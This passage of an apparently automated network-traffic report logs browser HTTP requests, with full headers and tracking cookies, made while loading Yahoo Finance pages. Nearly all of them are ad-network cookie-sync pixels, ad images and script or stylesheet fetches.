emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /floorPrice/wnsrvBJmEPrTfrnFX/js/floorPrice/linreg.min.js HTTP/1.1Host: wnsrvbjmeprtfrnfx.ay.deliveryConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /redirectuser?sid=GET_SID_FROM_ZETA&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dzeta_global_ssp%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3DBUYERUID HTTP/1.1Host: ssp.disqus.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/default/20181213/Finance_Brand_Filler__300x250_Look_1.jpg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://f665d8114e8c2c904180d9ba9ec2b7b1.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?nid=114&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usync/prbds2s?gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dgumgum%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D HTTP/1.1Host: rtb.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Typography.CaSb88v6.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/default/20181213/Finance_Brand_Filler__970x250_Look_1.jpg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://f665d8114e8c2c904180d9ba9ec2b7b1.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/dcm?pid=4bd6ceca-c698-4782-a536-f380f757484c&id=176682A8-E121-44A7-818D-4FE53D542BB2&redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: aax-eu.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=RGs3E-BNKWUM9-E0Yk6nUq1ov1cuPZyw51dkSNWtWVZE2TtKD2t0w8nihOlT-IcCBZ6eN6XF0B7WUcdB-B2J9u_noxx1687OtyCpmDgTn8Y.; receive-cookie-deprecation=1; uuid2=7992184014990425658
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Image.BjjiB67D.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /sg/taboola-ifs/1/um/?uils=27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380!-%23%40718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383 HTTP/1.1Host: trc.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_pid=27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=d10c4730-5cb3-81ed-9e19-fb377ae6d6a7&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6NeCuUwEkCZkxeBPKtFe6Q\|t
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=ZvreFAAGJF7U4wAF&_test=ZvreFAAGJF7U4wAF HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=5a760414-e99e-05e0-04c1-b14876f22eba\|1727716879; pd=v2\|1727716881\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/FeatureBarNeo.CGHKwr-8.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /cr?key=pubmatic&gdpr=0&gdpr_consent= HTTP/1.1Host: cr.frontend.weborama.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mw?zpartnerid=1384&env=mWeb&gdpr=0&gdpr_consent=&cid=176682A8-E121-44A7-818D-4FE53D542BB2 HTTP/1.1Host: mwzeom.zeotap.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Layout.Cie9yXEc.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072971&val=07c89b85-4c1c-424d-8df0-0123ed6cebb6&ttd_puid=89da3b4d-4019-3a17-5e17-79a012d51d47&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=5a760414-e99e-05e0-04c1-b14876f22eba\|1727716879; pd=v2\|1727716881\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072991&val=CAESEBekM66nmsCe4_HEDSbE50c&google_cver=1 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=5a760414-e99e-05e0-04c1-b14876f22eba\|1727716879; pd=v2\|1727716881\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /xuid?mid=3658&xuid=07c89b85-4c1c-424d-8df0-0123ed6cebb6&dongle=0cfd&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluid=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /xuid?mid=5989&xuid=CAESEOe2R8T-8keCMBRyELE2mow&dongle=c627&gdpr=0&gdpr_consent=&google_cver=1 HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluid=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /dcm?pid=50cd21b7-d8d7-4615-9fb9-a2be831f8488&id=&gdpr=0&us_privacy=1YNN HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6NeCuUwEkCZkxeBPKtFe6Q\|t
Source: global traffic	HTTP traffic detected: GET /js/ld/publishertag.prebid.144.js HTTP/1.1Host: static.criteo.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=56135341&p=133799&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=176682A8-E121-44A7-818D-4FE53D542BB2; chkChromeAb67Sec=1; pi=133799:2; DPSync4=1728864000%3A245_241_227_226; SyncRTB4=1728259200%3A223%7C1728864000%3A220_13_251_54_71_3_21_201_56
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=triplelift&gdpr=0&gdpr_consent=&us_privacy=&google_hm=MzgxMTIzOTY2NDcxNTM3NTc3MDQzNQ%3D%3D HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=tl&gdpr=0&gdpr_consent=&us_privacy=&google_hm=MzgxMTIzOTY2NDcxNTM3NTc3MDQzNQ%3D%3D HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjssKWS3DNbgOuYnBF790YV34jJmo3x6yrl4NNN4SvpRNyshrBG7k495L3N_gXtL-35wa2UMasY4W9HirdqQHF5Frp_v19RMHi_LmvD12M7M6IEuuDfJH6lUZLs-xNjkWTUIKmLBel5HgRDwAvry36LNMCo1S-d_MtcVkgRZeOpojWu_0LTC32AYcvBlkjMfWU2-8cYUpSqq3HEf1hzNWa3dOlDGbc094SUhwnvDziipJqANIM0hJGiXCDefHm6Fu0cdQI_nWhA7UBHP3es7ttBQp3IDHDgmnglwjbJZqvTu2MeGJ5D1PdVvl0ihqbH1mky3GZeod52iM4oncO5sMvdGaA_sYfe9q3XL0KPrRGdcSJjhU9yWdhCNHoWC-Wk7EHgEmN4wlWaoSYDGzLbcLSc7OYX89AgtOaD8kHnkdqRpj4KOJ9H1WD_KgHQNo-cRpMMsc0q2gRrwtz7F2&sai=AMfl-YTFi9HZ31skp4cVRBVqJo6kbZ-NyjH5hkaG8EhnAtrd_3iQhenX07JdIFR37Uny7L5Sv13MqJ-WBbzttN3oQuTtQnSQMAw8oQ1UcRKnw1-Kaq2yERDJcffoQqQIgCd8lnz0VLlzvkaYi4iH1YPZZg&sig=Cg0ArKJSzOGQQCd4khE1EAE&uach_m=%5BUACH%5D&urlfix=1&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
